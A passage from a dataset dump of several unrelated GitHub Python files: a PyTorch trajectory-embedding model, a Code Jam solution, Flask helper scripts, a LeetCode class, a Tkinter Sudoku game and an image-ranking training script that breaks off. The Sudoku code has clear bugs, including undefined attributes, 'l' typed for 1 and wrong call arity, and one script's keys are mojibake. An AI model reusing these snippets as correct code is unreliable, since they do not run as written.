\"\"\"\n Generate a casual mask which prevents i-th output element from\n depending on any input elements from \"the future\".\n Note that for PyTorch Transformer model, sequence mask should be\n filled with -inf for the masked positions, and 0.0 else.\n\n :param seq_len: length of sequence.\n :return: a casual mask, shape (seq_len, seq_len)\n \"\"\"\n if include_self:\n mask = 1 - torch.triu(torch.ones(seq_len, seq_len)).transpose(0, 1)\n else:\n mask = 1 - torch.tril(torch.ones(seq_len, seq_len)).transpose(0, 1)\n return mask.bool()\n\n\nclass PositionalEncoding(nn.Module):\n def __init__(self, embed_size, max_len):\n super().__init__()\n pe = torch.zeros(max_len, embed_size).float()\n pe.requires_grad = False\n\n position = torch.arange(0, max_len).float().unsqueeze(1)\n div_term = (torch.arange(0, embed_size, 2).float() * -(math.log(10000.0) / embed_size)).exp()\n\n pe[:, 0::2] = torch.sin(position * div_term)\n pe[:, 1::2] = torch.cos(position * div_term)\n\n pe = pe.unsqueeze(0)\n self.register_buffer('pe', pe)\n\n def forward(self, x, **kwargs):\n return self.pe[:, :x.size(1)]\n\n\nclass TemporalEncoding(nn.Module):\n def __init__(self, embed_size):\n super().__init__()\n self.omega = nn.Parameter((torch.from_numpy(1 / 10 ** np.linspace(0, 9, embed_size))).float(), requires_grad=True)\n self.bias = nn.Parameter(torch.zeros(embed_size).float(), requires_grad=True)\n self.div_term = math.sqrt(1. / embed_size)\n\n def forward(self, x, **kwargs):\n timestamp = kwargs['timestamp'] # (batch, seq_len)\n time_encode = timestamp.unsqueeze(-1) * self.omega.reshape(1, 1, -1) + self.bias.reshape(1, 1, -1)\n time_encode = torch.cos(time_encode)\n return self.div_term * time_encode\n\n\nclass CTLEEmbedding(nn.Module):\n def __init__(self, encoding_layer, embed_size, num_vocab):\n super().__init__()\n self.embed_size = embed_size\n self.num_vocab = num_vocab\n self.encoding_layer = encoding_layer\n self.add_module('encoding', self.encoding_layer)\n\n self.token_embed = nn.Embedding(num_vocab+2, embed_size, padding_idx=num_vocab)\n # self.token_embed.weight.data.uniform_(-0.5/embed_size, 0.5/embed_size)\n\n def forward(self, x, **kwargs):\n token_embed = self.token_embed(x)\n pos_embed = self.encoding_layer(x, **kwargs)\n return token_embed + pos_embed\n\n\nclass CTLE(nn.Module):\n def __init__(self, embed, hidden_size, num_layers, num_heads, init_param=False, detach=True):\n super().__init__()\n self.embed_size = embed.embed_size\n self.num_vocab = embed.num_vocab\n\n self.embed = embed\n self.add_module('embed', embed)\n\n encoder_layer = nn.TransformerEncoderLayer(d_model=self.embed_size, nhead=num_heads,\n dim_feedforward=hidden_size, dropout=0.1)\n self.encoder = nn.TransformerEncoder(encoder_layer, num_layers=num_layers,\n norm=nn.LayerNorm(self.embed_size, eps=1e-6))\n self.detach = detach\n if init_param:\n self.apply(weight_init)\n\n def forward(self, x, **kwargs):\n \"\"\"\n @param x: sequence of tokens, shape (batch, seq_len).\n \"\"\"\n seq_len = x.size(1)\n downstream = kwargs.get('downstream', False)\n\n src_key_padding_mask = (x == self.num_vocab)\n token_embed = self.embed(x, **kwargs) # (batch_size, seq_len, embed_size)\n if downstream:\n pre_len = kwargs['pre_len']\n src_mask = torch.ones(seq_len, seq_len).bool()\n src_mask[:, :-pre_len] = False\n src_mask[-pre_len:, -pre_len:] = gen_casual_mask(pre_len)\n src_mask = torch.zeros(seq_len, seq_len).masked_fill(src_mask, float('-inf'))\n src_mask = src_mask.to(x.device)\n else:\n src_mask = None\n\n encoder_out = self.encoder(token_embed.transpose(0, 1), mask=src_mask,\n src_key_padding_mask=src_key_padding_mask).transpose(0, 1) # (batch_size, src_len, embed_size)\n if self.detach and downstream:\n encoder_out = encoder_out.detach()\n return encoder_out\n\n def static_embed(self):\n return self.embed.token_embed.weight[:self.num_vocab].detach().cpu().numpy()\n\n\nclass MaskedLM(nn.Module):\n def __init__(self, input_size, vocab_size):\n super().__init__()\n self.linear = nn.Linear(input_size, vocab_size)\n self.dropout = nn.Dropout(0.1)\n self.loss_func = nn.CrossEntropyLoss()\n\n self.vocab_size = vocab_size\n\n def forward(self, x, **kwargs):\n \"\"\"\n :param x: input sequence (batch, seq_len, embed_size).\n :param origin_tokens: original tokens, shape (batch, seq_len)\n :return: the loss value of MLM objective.\n \"\"\"\n origin_tokens = kwargs['origin_tokens']\n origin_tokens = origin_tokens.reshape(-1)\n lm_pre = self.linear(self.dropout(x)) # (batch, seq_len, vocab_size)\n lm_pre = lm_pre.reshape(-1, self.vocab_size) # (batch * seq_len, vocab_size)\n return self.loss_func(lm_pre, origin_tokens)\n\n\nclass MaskedHour(nn.Module):\n def __init__(self, input_size):\n super().__init__()\n self.linear = nn.Linear(input_size, 24)\n self.dropout = nn.Dropout(0.1)\n self.loss_func = nn.CrossEntropyLoss()\n\n def forward(self, x, **kwargs):\n \"\"\"\n @param x: input sequence (batch, seq_len, embed_size)\n @param original_hour: original hour indices, shape (batch, seq_len)\n @returns: the loss value of MH objective.\n \"\"\"\n origin_hour = kwargs['origin_hour']\n origin_hour = origin_hour.reshape(-1)\n hour_pre = self.linear(self.dropout(x))\n hour_pre = hour_pre.reshape(-1, 24)\n return self.loss_func(hour_pre, origin_hour)\n\n\nclass MaskedWeekday(nn.Module):\n def __init__(self, input_size):\n super().__init__()\n self.linear = nn.Linear(input_size, 7)\n self.dropout = nn.Dropout(0.1)\n self.loss_func = nn.CrossEntropyLoss()\n\n def forward(self, x, **kwargs):\n \"\"\"\n @param x: input sequence (batch, seq_len, embed_size)\n @param original_hour: original hour indices, shape (batch, seq_len)\n @returns: the loss value of MH objective.\n \"\"\"\n origin_weekday = kwargs['origin_weekday']\n origin_weekday = origin_weekday.reshape(-1)\n weekday_pre = self.linear(self.dropout(x))\n weekday_pre = weekday_pre.reshape(-1, 7)\n return self.loss_func(weekday_pre, origin_weekday)\n\n\ndef train_ctle(dataset, ctle_model:CTLE, obj_models, mask_prop, num_epoch, batch_size, device):\n ctle_model = ctle_model.to(device)\n obj_models = obj_models.to(device)\n user_ids, src_tokens, src_weekdays, src_ts, src_lens = zip(*dataset.gen_sequence(select_days=0))\n\n optimizer = torch.optim.Adam(list(ctle_model.parameters()) + list(obj_models.parameters()), lr=1e-4)\n for epoch in range(num_epoch):\n for batch in next_batch(shuffle(list(zip(src_tokens, src_weekdays, src_ts, src_lens))), batch_size=batch_size):\n # Value filled with num_loc stands for masked tokens that shouldn't be considered.\n src_batch, _, src_t_batch, src_len_batch = zip(*batch)\n src_batch = np.transpose(np.array(list(zip_longest(*src_batch, fillvalue=ctle_model.num_vocab))))\n src_t_batch = np.transpose(np.array(list(zip_longest(*src_t_batch, fillvalue=0))))\n\n src_batch = torch.tensor(src_batch).long().to(device)\n src_t_batch = torch.tensor(src_t_batch).float().to(device)\n hour_batch = (src_t_batch % (24 * 60 * 60) / 60 / 60).long()\n\n batch_len, src_len = src_batch.size(0), src_batch.size(1)\n src_valid_len = torch.tensor(src_len_batch).long().to(device)\n\n mask_index = gen_random_mask(src_valid_len, src_len, mask_prop=mask_prop)\n\n src_batch = src_batch.reshape(-1)\n hour_batch = hour_batch.reshape(-1)\n origin_tokens = src_batch[mask_index] # (num_masked)\n origin_hour = hour_batch[mask_index]\n\n # Value filled with num_loc+1 stands for special token <mask>.\n masked_tokens = src_batch.index_fill(0, mask_index, ctle_model.embed.num_vocab + 1).reshape(batch_len, -1) # (batch_size, src_len)\n\n ctle_out = ctle_model(masked_tokens, timestamp=src_t_batch) # (batch_size, src_len, embed_size)\n masked_out = ctle_out.reshape(-1, ctle_model.embed_size)[mask_index] # (num_masked, embed_size)\n loss = 0.\n for obj_model in obj_models:\n loss += obj_model(masked_out, origin_tokens=origin_tokens, origin_hour=origin_hour)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n return ctle_model\n","repo_name":"Logan-Lin/CTLE","sub_path":"embed/ctle.py","file_name":"ctle.py","file_ext":"py","file_size_in_byte":9954,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"23543489591","text":"fo = open(\"input.txt\", 'r')\nfi = open(\"output.txt\",'w')\ninput = []\n\nfor i in fo:\n input.append(i)\n\ndel(input[0])\n\ndef flip(x):\n if x == '+':\n return '-'\n elif x == '-':\n return '+'\n\ntest_case_number = 1\nanswer = []\nfor par in input:\n pan_cake = par.split()[0]\n flipper_size = int(par.split()[1])\n pan_cake = list(pan_cake)\n counter = 0\n impossible = False\n\n\n for i in range(len(pan_cake)):\n if(pan_cake[i] == '-'):\n j=i\n counter = counter +1\n if(j+flipper_size<=len(pan_cake)):\n for j in range(j,flipper_size+j):\n pan_cake[j] = flip(pan_cake[j])\n\n for i in pan_cake:\n if(i=='-'):\n impossible = True;\n break\n\n if(impossible==True):\n answer.append(str('Case #'+str(test_case_number)+': '+'IMPOSSIBLE'))\n else:\n answer.append('Case #'+str(test_case_number)+': ' + str(counter))\n test_case_number += 1\n\n\nfor i in answer:\n #print i\n fi.write(i + ' \\n')\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2454.py","file_name":"2454.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34753254840","text":"#coding:gbk\nimport csv\nimport json\nwith open('20200507.json','r') as jsfile:\n str = jsfile.read();\n data_old = json.loads(str)\nwith open('20200508.json','r') as jsfile:\n str = jsfile.read();\n data_new = json.loads(str)\nfor stock in data_old:\n\tif stock['ДњТы']=='603879':\n\t\tprint(stock)\nfor stock in data_new:\n\tif stock['ДњТы']=='603879':\n\t\tprint(stock)\n","repo_name":"yxyzds/NEU-STOCK","sub_path":"数据库连接脚本/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6745668797","text":"import random\n\nfrom faker import Faker\n\nfrom bluelog.extensions import db\nfrom bluelog.models import Major,Subcategory,Picture,About,PrivacySecurity,PaymentMethods,ReturnPolicy,Faq,Subcategory_,\\\nbasicsettings\n\n\nfake = Faker()\n\n\n\ndef fake_major(count=10):\n for i in range(count):\n major = Major(\n name = fake.name() + str(random.randint(1,99)),\n exegesis = fake.text(),\n least = random.randint(1,10),\n maximum = random.randint(11,29),\n timestamp = fake.date_time(),\n frequency = random.randint(0,1)\n )\n db.session.add(major)\n db.session.commit()\n\ndef fake_subcategory(count=100):\n for i in range(count):\n subcategory = Subcategory(\n name = fake.name(),\n exegesis = fake.text(),\n timestamp=fake.date_time(),\n major_id = random.randint(1,Major.query.count())\n )\n db.session.add(subcategory)\n db.session.commit()\n\ndef fake_picture_management(count=1000):\n for i in range(count):\n picture = Picture(\n name = fake.name(),\n description = fake.text(),\n attribute = 's,m,x,l',\n color = 'red,yellow',\n picture = fake.text(),\n price = fake.random_number(),\n timestamp = fake.date_time(),\n subcategorys_id = random.randint(1,Subcategory.query.count())\n )\n db.session.add(picture)\n db.session.commit()\ndef fake_about(count=100):\n for i in range(count):\n about = About(\n name = fake.paragraph()\n )\n privacySecurity = PrivacySecurity(\n name = fake.paragraph()\n )\n paymentMethods = PaymentMethods(\n name = fake.paragraph()\n )\n returnPolicy = ReturnPolicy(\n name = fake.paragraph()\n )\n faq = Faq(\n name = fake.paragraph()\n )\n subcategory_ = Subcategory_(\n name = fake.paragraph()\n )\n basicsetting =basicsettings(\n title = fake.name(),\n Keyword = fake.paragraph(),\n description = fake.paragraph()\n )\n db.session.add(about)\n db.session.add(privacySecurity)\n db.session.add(paymentMethods)\n db.session.add(returnPolicy)\n db.session.add(faq)\n db.session.add(subcategory_)\n db.session.add(basicsetting)\n db.session.commit()\n","repo_name":"trg8888/heelo","sub_path":"bluelog/fakes.py","file_name":"fakes.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41439723348","text":"from flask_script import Manager\nfrom flask_migrate import Migrate, MigrateCommand\nfrom app import app, db\nfrom app.models import Project\n# app.run(host='172.22.220.74', debug=True);\n# app.run(debug=True)\n\nmigrate = Migrate(app, db)\nmanager = Manager(app)\n\nmanager.add_command('db', MigrateCommand)\n\n\n@manager.command\ndef create_db():\n \"\"\"\n Create the required database tables\n :return: None\n \"\"\"\n db.create_all()\n\n\n@manager.command\ndef drop_db():\n db.drop_all()\n\n\n@manager.command\ndef create_project(project_name, engineer):\n db.session.add(Project(project_name=project_name, engineer=engineer))\n db.session.commit()\n\n\nif __name__ == \"__main__\":\n manager.run()\n","repo_name":"QuinJames/SDE-Project-Tracker","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43146116710","text":"#We maintain the runnig product in the prefix array. To get the product for the last k elements, we divide the last running product by the product that was k - 1 steps ago.\n\n# Important observation: if we add zero, we reset the prefix array. All products that includes zero will be zero. So, we can just check if k is greater than the size of our previx array, and return zero in that case.\n\n# class ProductOfNumbers:\n# def __init__(self):\n# self.data = []\n# self.product = 1\n\n# def add(self, num: int) -> None:\n# if num != 0:\n# self.product *= num\n# self.data.append(self.product)\n# else: #reset\n# self.data = []\n# self.product = 1\n\n# def getProduct(self, k: int) -> int:\n# if len(self.data) < k:\n# return 0\n# if len(self.data) == k:\n# return self.data[-1]\n# else:\n# return int(self.data[-1] / self.data[-1-k])\n \n \n \n \n# other soln, can be that if yuou dont want to reset the array , then keep track of latest zero index!\nclass ProductOfNumbers:\n def __init__(self):\n self.nums = [1]\n self.zero = -1\n\n def add(self, num: int) -> None:\n if num == 0 or self.nums[-1] == 0:\n if num == 0: # kepp track of last zero\n self.zero = len(self.nums)-1\n \n self.nums.append(num) # if zero, then append 0, else append num (bcz the pref prod would be zero , so we kinda want to reset)\n else: #if it is not zero, or prev prod is also not zero, then continue calculating the pref prod\n self.nums.append(num*self.nums[-1])\n\n def getProduct(self, k: int) -> int:\n if len(self.nums) - k -1 <= self.zero: return 0\n elif self.nums[-k-1] == 0: return self.nums[-1]\n else: return self.nums[-1] // self.nums[-k-1]","repo_name":"hardik302001/leetcode","sub_path":"problems/product_of_the_last_k_numbers/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"31620661010","text":"from tkinter import *\nimport os\n\nclass Sudoku:\n def __init__(self, game):\n try:\n for i in range(9):\n for j in range(9):\n if int(game[i][j]) >= 0 or int(game[i][j]) <= 9:\n game[i][j] = int(game[i][j])\n else:\n raise ValueError(\"DATOS INCORRECTOS\")\n except:\n print(\"ERROR DE INICIACION\")\n self._game = game\n self._solution = []\n \n def getGame(self):\n return self._game\n print(self._game)\n \n def setSolution(self, game):\n self._solution = game\n \n def getNum(self, i, j):\n return(self._game[i][j])\n \n def setNum(self, i, j,n):\n self._game[i][j] = n\n \n def getSolution(self):\n return self._solution\n \n def check(self, line, col, n):\n line = int(line)\n col = int(col)\n if self.getNum(line, col) == n:\n return True\n if self.getNum(line, col) != 0:\n return False\n \n for c in range(0,9):\n if self._game[line][c] == n:\n return False\n for l in range(0,9):\n if self._game[l][col] == n:\n return False\n \n lr = int(line/3)\n cr = int(col/3)\n for l in range(lr*3, (lr + l)*3):\n for c in range(cr*3,(cr + l)*3):\n #if l >= 9 or c >= 9:\n # continua\n if self._game[l][c] == n:\n #print('l = ','l', 'c = ','c','num = ', self.getNum(l,c), 'n = ', 'n')\n return False\n return True\n \n def resolve(self,i,j,l):\n if i == 9:\n self.setSolution(self._juego)\n self.write_Solution(self.getSolution())\n return 0\n else:\n for n in range(1, 10):\n if self.check(i,j,n):\n t = self.getNum(i,j)\n self.setNum(i,j,n)\n if j == 8:\n self.resolve(i+l, 0)\n else:\n self.resolve(i, j + l)\n self.setNum(i,j,t)\n \n \n \n \n def write_Solution(self, solution):\n file = open(\"SudokuTEMP.txt\", \"w\")\n try:\n for i in range(0,9):\n for j in range(0,9):\n file.write(str(solution[i][j]))\n file.write(' ')\n file.write('\\n')\n file.write('\\n\\n')\n file.close()\n except:\n print('ERROR SAVING THE FILE')\n finally:\n file.close()\n \nclass Screen:\n def __init__(self, toplevel):\n toplevel.resizable(width = False, height = False)\n toplevel.title(\"Sudoku Game\")\n \n fonte = ('Arial', 18)\n \n self.fr = Frame(toplevel)\n self.fr.bind('<Motion>', self.correct)\n self.fr.pack(ipady = 0, padx = 0)\n \n self.fr1 = Frame(toplevel)\n self.fr1.bind('<Motion>', self.correct)\n self.fr1.pack(ipady = 0, padx = 0)\n \n self.fr2 = Frame(toplevel)\n self.fr2.bind('<Motion>', self.correct)\n self.fr2.pack(ipady = 0, padx = 0)\n \n self.fr3 = Frame(toplevel)\n self.fr3.bind('<Motion>', self.correct)\n self.fr3.pack(ipady = 0, padx = 0)\n \n self.fr4 = Frame(toplevel)\n self.fr4.bind('<Motion>', self.correct)\n self.fr4.pack(ipady = 0, padx = 0)\n \n self.fr5 = Frame(toplevel)\n self.fr5.bind('<Motion>', self.correct)\n self.fr5.pack(ipady = 0, padx = 0)\n \n self.fr6 = Frame(toplevel)\n self.fr6.bind('<Motion>', self.correct)\n self.fr6.pack(ipady = 0, padx = 0)\n \n self.fr7 = Frame(toplevel)\n self.fr7.bind('<Motion>', self.correct)\n self.fr7.pack(ipady = 0, padx = 0)\n \n self.fr8 = Frame(toplevel)\n self.fr8.bind('<Motion>', self.correct)\n self.fr8.pack(ipady = 0, padx = 0)\n \n self.fr9 = Frame(toplevel)\n self.fr9.bind('<Motion>', self.correct)\n self.fr9.pack(ipady = 1, padx = 1)\n \n self._game = []\n for i in range(1, 10):\n self._game += [[0,0,0,0,0,0,0,0,0]]\n \n variable = self.fr\n px = 0\n py = 0\n cor = 'white'\n thickness = 0\n for i in range(0,9):\n for j in range(0,9):\n \n if i == 0:\n variable = self.fr\n if i == 1:\n variable = self.fr1\n if i == 2:\n variable = self.fr2\n if i == 3:\n variable = self.fr3\n if i == 4:\n variable = self.fr4\n if i == 5:\n variable = self.fr5\n if i == 6:\n variable = self.fr6\n if i == 7:\n variable = self.fr7\n if i == 8:\n variable = self.fr8\n \n if j%2 == 0 and i%2 == 0:\n thickness = 1\n \n if j%2 != 0 and i%2 != 0:\n thickness = 1\n \n if j in [3,4,5] and i in [0,1,2,6,7,8,]:\n cor = 'gray'\n elif j not in [3,4,5] and i not in [0,1,2,6,7,8]:\n cor = 'gray'\n else:\n cor = 'white'\n \n self._game[i][j] = Entry(variable, width = 2, font = fonte, bg = cor, cursor = 'arrow', borderwidth = 0, highlightcolor = 'yellow',highlightthickness = 1, highlightbackground = 'black', textvar = jg[i][j])\n self._game[i][j].bind('<Button-1>', self.correct)\n self._game[i][j].bind('<FocusIn>', self.correct)\n self._game[i][j].bind('<Motion>', self.correct)\n self._game[i][j].pack(side = LEFT, padx = px, pady = py)\n \n thickness = 0\n \n self.btn1 = Button(self.fr9, text = 'Save', fg = 'red', font = ('Arial', 11), command = self.save)\n self.btn1.pack(side = RIGHT)\n \n self.btn2 = Button(self.fr9, text = 'Solve', fg = 'blue', font = ('Arial', 11), command = self.solve)\n self.btn2.pack(side = LEFT)\n \n self.btn3 = Button(self.fr9, text = 'Open', fg = 'blue', font = ('Arial', 11), command = self.Open)\n self.btn3.pack(side = LEFT)\n \n self.btn3 = Button(self.fr9, text = 'Reset', fg = 'red', font = ('Arial', 11), command = self.reset)\n self.btn3.pack(side = RIGHT)\n \n self._nombredelsarchivo = \"Entrada.txt\"\n def solve(self):\n try:\n solucion = Sudoku(self.getGame())\n solucion.resolve(0,0)\n self._nombredelarchivo = \"SudokuTEMP.txt\"\n self.Open()\n self._nombredelarchivo = \"Entrada.txt\"\n os.remove(\"SudokuTEMP.txt\")\n except:\n print(\"ERROR DE LECTURA\")\n finally:\n self._numbredelarchivo = \"Entrada.txt\"\n \n def getGame(self):\n game = []\n for i in range(9):\n game += [[0,0,0,0,0,0,0,0,0]]\n for i in range(9):\n for j in range(9):\n #self._juego[i][j]\n game[i][j] = jg[i][j].get()\n if game[i][j] == '':\n game[i][j] = 0\n return game\n \n def reset(self):\n for i in range(9):\n for j in range(9):\n jg[i][j].set('')\n \n def save(self):\n file = open(\"Sudoku.txt\", \"a\")\n try:\n for i in range(9):\n for j in range(9):\n if self._game[i][j].get() == '':\n file.write(\"0\")\n else:\n file.write(self._game[i][j].get())\n file.write(' ')\n file.write('\\n')\n file.write('\\n\\n')\n file.close()\n except:\n print(\"ERROR WHILE WAITING FOR THE FILE\")\n finally:\n file.close()\n \n def correct(self, event):\n for i in range(9):\n for j in range(9):\n if jg[i][j].get() == '':\n continue\n if len(jg[i][j].get()) > 1 or jg[i][j].get() not in ['1','2','3','4','5','6','7','8','9']:\n jg[i][j].set('')\n \n def complete(self):\n for i in range(9):\n for j in range(9):\n jg[i][j].set(self._game[i][j])\n \n def Open(self):\n try:\n file = open(self._FileName, 'r')\n \n text = file.readline()\n text = text.split(' ')\n for i in range(0,9):\n for j in range(0,9):\n if text[0] == '0':\n jg[i][j].set('')\n else:\n jg[i][j].set(text[0])\n text.pop(0)\n text = file.readline()\n text = text.split(' ')\n file.close()\n \n except:\n print(\"THERE IS AN ERROR\")\n finally:\n file.close()\n \nsolution = []\nroot = Tk()\ntxt = StringVar(root)\njg = []\nfor i in range(1, 10):\n jg += [[0,0,0,0,0,0,0,0,0]]\nfor i in range(0,9):\n for j in range(0,9):\n jg[i][j] = StringVar(root)\n \na = Screen(root)\nroot.mainloop()\n \n \n \n \n \n \n","repo_name":"natanri/cse210-06","sub_path":"game_scene/user_controller.py","file_name":"user_controller.py","file_ext":"py","file_size_in_byte":10008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3272690559","text":"import sys\nsys.path.append(\"..\")\nimport torch\nimport torch.nn as nn\nimport torchvision.transforms as transforms\nimport torchvision.models as models\nimport torch.backends.cudnn as cudnn\nimport pandas as pd\nfrom torch.utils.data import DataLoader\nfrom utils.graph import *\nfrom utils.siScore_utils import *\nfrom utils.parameters import *\nimport os\nfrom itertools import permutations\nimport copy\nfrom Ranger.ranger import Ranger \n\nclass TestDataset(Dataset):\n def __init__(self, transform=None):\n self.file_list = glob.glob('../data/'+args.img+'/*/*.png')\n self.transform = transform \n\n def __len__(self):\n return len(self.file_list)\n\n def __getitem__(self, idx):\n path = self.file_list[idx]\n #con = path.split(\"/\")[-3][:3]\n direc = path.split(\"/\")[-2]\n #name = path[-19:-9]\n name = path.split(\"/\")[-1].split(\".png\")[0]\n name = direc + '*' + name\n #image = Image.open(path)\n image = io.imread(path) / 255.0\n\n\n if self.transform:\n #image = self.transform(image)\n image = self.transform(np.stack([image])).squeeze()\n\n return image, name\n\ndef make_data_loader(cluster_list, batch_sz):\n cluster_dataset = ClusterDataset(cluster_list, dir_name = args.dir_name, transform = transforms.Compose([\n RandomRotate(),\n ToTensor(),\n Grayscale(prob = 1.0),\n Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ]))\n cluster_loader = torch.utils.data.DataLoader(cluster_dataset, batch_size=batch_sz, shuffle=True, num_workers=4, drop_last=True)\n return cluster_loader\n \n \ndef generate_loader_dict(total_list, unified_cluster_list, batch_sz):\n loader_dict = {}\n for cluster_id in total_list:\n cluster_loader = make_data_loader([cluster_id], batch_sz)\n loader_dict[cluster_id] = cluster_loader \n \n for cluster_tuple in unified_cluster_list:\n cluster_loader = make_data_loader(cluster_tuple, batch_sz)\n for cluster_num in cluster_tuple:\n loader_dict[cluster_num] = cluster_loader\n return loader_dict\n\n\ndef deactivate_batchnorm(model):\n for m in model.modules():\n if isinstance(m, nn.BatchNorm2d):\n m.reset_parameters()\n m.eval()\n with torch.no_grad():\n m.weight.fill_(1.0)\n m.bias.zero_()\n \n\ndef train(args, epoch, model, optimizer, scheduler, loader_list, cluster_path_list, device):\n model.train()\n # Deactivate the batch normalization before training\n deactivate_batchnorm(model.module)\n train_loss = AverageMeter()\n linear_loss = AverageMeter()\n reg_loss = AverageMeter()\n \n # For each cluster route\n path_idx = 0\n avg_loss = 0\n count = 0\n \n steps = 38\n \n for cluster_path in cluster_path_list:\n\n path_idx += 1\n dataloaders = []\n for cluster_id in cluster_path:\n dataloaders.append(loader_list[cluster_id])\n #print(dataloaders)\n #print(scheduler.get_lr())\n scheduler.step()\n for batch_idx, data in enumerate(zip(*dataloaders)):\n \n #print(\"in\")\n lam = np.random.beta(1.0, 1.0)\n cluster_num = len(data)\n data_zip = torch.cat(data, 0).to(device)\n \n scores = model(data_zip).squeeze()\n scores = torch.clamp(scores, min=0, max=1)\n \n idx_A = torch.randperm(data_zip.shape[0])\n idx_B = torch.randperm(data_zip.shape[0])\n img_A1 = copy.deepcopy(data_zip[idx_A, :, :])\n img_B1 = copy.deepcopy(data_zip[idx_B, :, :])\n img_A1[:, :int(lam*256),:] = 0\n img_B1[:, int(lam*256):,:] = 0\n img_M1 = img_A1 + img_B1\n\n # Generating Score\n score_A = scores[idx_A]\n score_B = scores[idx_B]\n score_M1 = model(img_M1).squeeze()\n score_M1 = torch.clamp(score_M1, min=0, max=1)\n loss_linear = torch.abs(score_M1 - (lam*score_A + (1-lam)*score_B)).sum() / score_M1.shape[0]\n score_list = torch.split(scores, args.batch_sz, dim = 0)\n linear_loss.update(loss_linear.item(), args.batch_sz)\n # Differentiable Ranking with sigmoid function\n rank_matrix = torch.zeros((args.batch_sz, cluster_num, cluster_num)).to(device)\n for itertuple in list(permutations(range(cluster_num), 2)):\n score1 = score_list[itertuple[0]]\n score2 = score_list[itertuple[1]]\n diff = args.lamb * (score2 - score1)\n results = torch.sigmoid(diff)\n rank_matrix[:, itertuple[0], itertuple[1]] = results\n rank_matrix[:, itertuple[1], itertuple[0]] = 1 - results\n\n rank_predicts = rank_matrix.sum(1)\n temp = torch.Tensor(range(cluster_num))\n target_rank = temp.unsqueeze(0).repeat(args.batch_sz, 1).to(device)\n\n # Equivalent to spearman rank correlation loss\n #print(rank_predicts[0])\n #print(target_rank[0])\n loss_train = ((rank_predicts - target_rank)**2).mean()\n loss = loss_train + loss_linear*args.alpha\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n train_loss.update(loss_train.item(), args.batch_sz)\n \n avg_loss += loss.item()\n count += 1\n\n # Print status\n if batch_idx % 10 == 0:\n print('Epoch: [{epoch}][{path_idx}][{elps_iters}] '\n 'Train loss: {train_loss.val:.4f} ({train_loss.avg:.4f}) '\n 'Linear loss: {linear_loss.val:.4f} ({linear_loss.avg:.4f})'.format(\n epoch=epoch, path_idx=path_idx, elps_iters=batch_idx, train_loss=train_loss, linear_loss=linear_loss, reg_loss=reg_loss))\n \n return avg_loss / count\n \n\ndef main(args):\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed_all(args.seed)\n np.random.seed(args.seed)\n\n # Input example\n cluster_number = args.cluster_num\n #os.environ[\"CUDA_VISIBLE_DEVICES\"]='1,2,3'\n\n # Graph generation mode\n graph_config = '../graph_config/'+args.graph_config \n\n \n # Dataloader definition \n start, end, partial_order, cluster_unify = graph_process(graph_config) \n print(partial_order, end)\n loader_list = generate_loader_dict(range(cluster_number), cluster_unify, args.batch_sz)\n cluster_graph = generate_graph(partial_order, cluster_number)\n cluster_path_list = cluster_graph.printPaths(start, end)\n print(\"Cluster_path: \", cluster_path_list)\n \n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(\"loader list\", cluster_unify)\n model = models.resnet18(pretrained=False)\n model.fc = nn.Sequential()\n\n if torch.cuda.device_count() > 1:\n model = nn.DataParallel(model) \n cudnn.benchmark = True\n\n \n model.module.fc = nn.Sequential(nn.Linear(512, 3)) \n model.load_state_dict(torch.load('../checkpoint/'+args.name+'_resnet18_200.ckpt')['state_dict'], strict = True)\n model.module.fc = nn.Sequential(nn.Linear(512, 1))\n #model.load_state_dict(torch.load(args.pretrained_path)['model'], strict = True)\n #print(\"loaded {loss}\".format( loss=torch.load(args.pretrained_path)['loss']))\n model.to(device)\n \n optimizer = Ranger(model.parameters(), lr=args.lr, weight_decay=0)\n \n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, 200) \n #optimizer = torch.optim.Adam(model.parameters(), lr = args.lr)\n print(\"Pretrained net load finished\")\n \n best_loss = float('inf')\n if args.load == False: \n for epoch in range(args.epochs): \n loss = train(args, epoch, model, optimizer, scheduler,loader_list, cluster_path_list, device)\n\n if epoch % 10 == 0 and epoch != 0: \n if best_loss > loss:\n print(\"state saving...\")\n state = {\n 'model': model.state_dict(),\n 'loss': loss\n }\n if not os.path.isdir('checkpoint'):\n os.mkdir('checkpoint')\n torch.save(state, '../checkpoint/{}'.format(args.name))\n best_loss = loss\n print(\"best loss: %.4f\\n\" % (best_loss))\n\n model.eval() \n test_dataset = TestDataset(transform = transforms.Compose([\n #transforms.ToTensor(), \n #transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n\n ToTensor(), Grayscale(),\n Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ]))\n test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=200, shuffle=False, num_workers=4)\n print(len(test_dataset)) \n df2 = pd.DataFrame(columns = ['direc','y_x', 'score'])\n #df2 = pd.DataFrame(columns = [ 'name', 'score'])\n cnt = 0\n\n with torch.no_grad():\n for batch_idx, (data, name) in enumerate(test_loader):\n print(batch_idx)\n data = data.to(device)\n scores = model(data).squeeze()\n count = 0\n scores = torch.clamp(scores, min=0, max=1)\n #print(\"here\")nohupn py\n for 